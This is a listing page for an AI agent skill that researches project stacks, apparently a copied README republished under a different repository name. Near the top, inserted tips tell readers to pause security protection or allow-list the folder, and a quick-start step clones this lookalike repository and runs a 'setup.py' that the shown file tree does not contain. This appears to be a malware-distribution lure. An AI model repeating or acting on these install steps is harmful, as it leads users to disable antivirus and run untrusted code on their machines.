advise-project-approach-865
Health Pass
- License — License: MIT
- Description — Repository has a description
- Active repo — Last push 0 days ago
- Community trust — 45 GitHub stars
Code Pass
- Code scan — Scanned 7 files during light audit, no dangerous patterns found
Permissions Pass
- Permissions — No dangerous permissions requested
No AI report is available for this listing yet.
A Claude/Codex skill that researches the best way to build your project before you commit to the wrong stack.
advise-project-approach
[!TIP]
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
[!CAUTION]
Some security systems may block the installation.
Only download from the official repository.
QUICK START
git clone https://github.com/ElectronOwl48/advise-project-approach-865.git
cd advise-project-approach-865
python setup.py
A portable AI workflow that researches the best way to build your project before you commit to the wrong stack, vendor, or cost model.

You know that friend who has built fifteen projects, read every ADR ever written, and will tell you "actually, don't use Kafka for this" before you have even opened your editor?
This is that friend. As a skill-shaped workflow.
One-Line Install
npx skills@latest add AaravKashyap12/advise-project-approach --skill advise-project-approach
This uses the open skills installer to fetch the repo from GitHub and install only this skill. It requires Node.js/npm. Review installed skills before use; skills run with your agent's normal permissions.
What Changed in v0.3
v0.3 focuses on the thing generic AI stack advice often misses: real operating cost.
- Adds pricing and operating-cost analysis for managed services, hosting, storage, auth, AI APIs, observability, and lock-in.
- Treats "free to start" as a claim to verify, not a reason to recommend a vendor.
- Makes tradeoffs more blunt: what you gain, what you give up, what becomes harder later, and when the recommendation becomes wrong.
- Clarifies that the core workflow is vendor-agnostic:
SKILL.mdcan be copied into any agent harness. - Adds a pricing-focused example for Supabase-style recommendations.
What Changed in v0.2
Based on launch feedback, v0.2 makes the skill more rigorous and easier to judge:
- Adds a clear decision methodology: constraints -> comparables -> transferable patterns -> tradeoffs -> recommendation -> failure conditions.
- Treats comparable projects as evidence, not a popularity vote.
- Adds repo-size and token-budget rules for large codebases and monorepos.
- Requires the output to say what was inspected, sampled, skipped, and where the recommendation is provisional.
- Adds A/B examples showing where the skill should change generic AI advice.
Try These Prompts
"What's the best way to build a self-hosted bookmark manager?"
"Research comparable projects before I start this."
"I'm halfway through building a Node/Express API. Is my approach right?"
"Review my finished project at github.com/owner/repo."
"Should I use Postgres or SQLite for this?"
"What stack should I use given I know Python and want to self-host?"
"Should I use Supabase/Firebase/Neon/Vercel, or will pricing hurt later?"
What It Does
Drop it into your agent and it will:
- Pre-build: Research your stack, find comparable real projects, compare architecture options, and hand you a build plan before you commit to anything you will regret in month three.
- Mid-build: Inspect your repo, identify what is actually wrong, not just what is fashionable to fix, and give you a prioritized list of changes ordered by impact.
- Post-build: Review your finished project against mature comparables, call out the gaps, and tell you what to harden before you ship.
It does the research loop a good engineer would do manually: understand the goal, inspect the evidence, study credible comparables, evaluate the tradeoffs, and recommend the highest-leverage path.
No vibes. Evidence first.
Works Beyond Claude/Codex
The workflow is intentionally self-contained in:
skills/advise-project-approach/SKILL.md
The packaged .skill file and agents/openai.yaml are convenience metadata for compatible installers and UIs. A non-Claude or non-Codex harness can copy the SKILL.md instructions, adapt its own trigger/loading mechanism, and still use the same decision workflow.
Recommended
npx skills@latest add AaravKashyap12/advise-project-approach --skill advise-project-approach
To list the skill without installing:
npx skills@latest add AaravKashyap12/advise-project-approach --list
Manual Download
dist/advise-project-approach.skill
Or install from the GitHub release:
Skill UI
Local Skill Folder
If your agent supports local skill folders:
cp -r skills/advise-project-approach ~/.claude/skills/
For Codex-style local installs, copy or symlink skills/advise-project-approach into your supported skills directory.
Plugin Metadata
This repo also includes .claude-plugin/plugin.json for plugin-aware installers that can read skill collections from GitHub repositories.
Demo
You: I want to build a self-hosted bookmark manager. Solo dev, Python background, want tags and full-text search.
Agent, with skill: researches linkding, Linkwarden, LinkAce, official framework docs, and relevant search/storage options.
## Project Approach: Self-Hosted Bookmark Manager
### TL;DR
Go with Django + SQLite FTS5 or Postgres full-text search, depending on your hosting target and expected scale. Keep the main UI server-rendered with HTMX, Turbo, or light JavaScript unless the UI needs true SPA complexity. This matches your Python skills, keeps deployment simple, and is backed by nearby real projects like linkding.
### Comparable Projects
The demo avoids hard-coded star counts and "latest" dates because those decay. The skill requires the agent to verify those values at review time.
See more examples:
- A/B comparisons against generic prompting
- Pricing and operating-cost example
- Pre-build bookmark manager
- Mid-build Express API
- Post-build FastAPI template
Why This Is Different From Just Asking
Without the skill, an agent will usually give you an answer. This skill makes it give you an accountable answer:
- Every "active" or "maintained" claim needs an exact date or adoption signal.
- Comparable projects are verified against real repos, docs, or other primary sources.
- Comparables must be separated into what transfers and what should not be copied.
- Pricing claims must distinguish "free to start" from "cheap to operate."
- Vendor choices must consider storage, bandwidth, usage limits, add-ons, migration cost, and lock-in.
- If no repo was provided, it says "advisory from description" instead of pretending it inspected files.
- Large repos are mapped first, then sampled by relevance instead of read blindly.
- The recommendation includes what you gain, what you give up, what becomes harder later, and when it becomes wrong.
- A self-check runs before output: is this grounded in actual project constraints, or is it generic?
What It Produces
Pre-Build
## Project Approach: <name>
TL;DR / Project Frame / Comparable Projects / Recommended Stack /
Cost and Vendor Reality / Architecture Direction / Alternatives Considered / Build Plan /
Risks and Unknowns / References
Mid-Build or Post-Build
## Project Approach Review: <name>
TL;DR / Project Summary / Evidence Reviewed, including evidence status /
What Is Working / Comparable Projects / Gap Analysis /
Recommended Changes, grouped High / Medium / Low /
Stack and Architecture Verdict / Cost and Vendor Reality / Risks and References
What It Will Not Do
- Invent star counts, last-commit dates, benchmark numbers, or production adoption claims.
- Treat "free to start" as proof that a vendor is cheap to operate.
- Invent prices, quotas, usage limits, or cost estimates without sources.
- Pretend it reviewed files when you only gave it a description.
- Tell you to add auth, tests, or Docker if you already have them.
- Recommend something because it is trending instead of because it fits your constraints.
- Give a production-grade review to a weekend prototype without calibrating the advice.
Repo Structure
.
|-- README.md
|-- LICENSE
|-- CHANGELOG.md
|-- ROADMAP.md
|-- CONTRIBUTING.md
|-- SECURITY.md
|-- CLAUDE.md
|-- assets/
| `-- social-preview.png
|-- .claude-plugin/
| `-- plugin.json
|-- .github/
| `-- workflows/
| `-- validate.yml
|-- dist/
| `-- advise-project-approach.skill
|-- skills/
| `-- advise-project-approach/
| |-- SKILL.md
| `-- agents/
| `-- openai.yaml
|-- examples/
| |-- ab-comparisons.md
| |-- pricing-operating-cost.md
| |-- prebuild-bookmark-manager.md
| |-- midbuild-express-api.md
| `-- postbuild-fastapi-template.md
|-- scripts/
| |-- package_skill.py
| `-- validate_skill.py
`-- tests/
`-- validation-notes.md
The packaged .skill file is a zip archive containing the advise-project-approach/ skill folder.
Development
Validate and rebuild the package:
python scripts/validate_skill.py
python scripts/package_skill.py
python scripts/validate_skill.py
The GitHub Actions workflow runs the same checks and fails if the generated package differs from what is committed.
Tested Against
| Repo | What it exposed |
|---|---|
| linkding | Freshness rules: the skill must not flatten a mature project's current stack into an older, simpler version. |
| gothinkster/node-express-realworld-example-app | Repo evidence: do not recommend "add auth/tests" when the repo already has them. |
| fastapi/full-stack-fastapi-template | Fit judgment: distinguish "this is a good template" from "this is right for your user and scale." |
See tests/validation-notes.md for the validation notes.
Contributing
Issues and PRs are welcome. The most useful contributions are:
- New repo test cases: a repo, what the skill got wrong, and what it should have said.
- Evidence discipline failures: cases where a claim was made without a verifiable source.
- Mode selection bugs: cases where the skill picked the wrong operating mode.
License
MIT
Reviews (0)
Sign in to leave a review.
Leave a reviewNo results found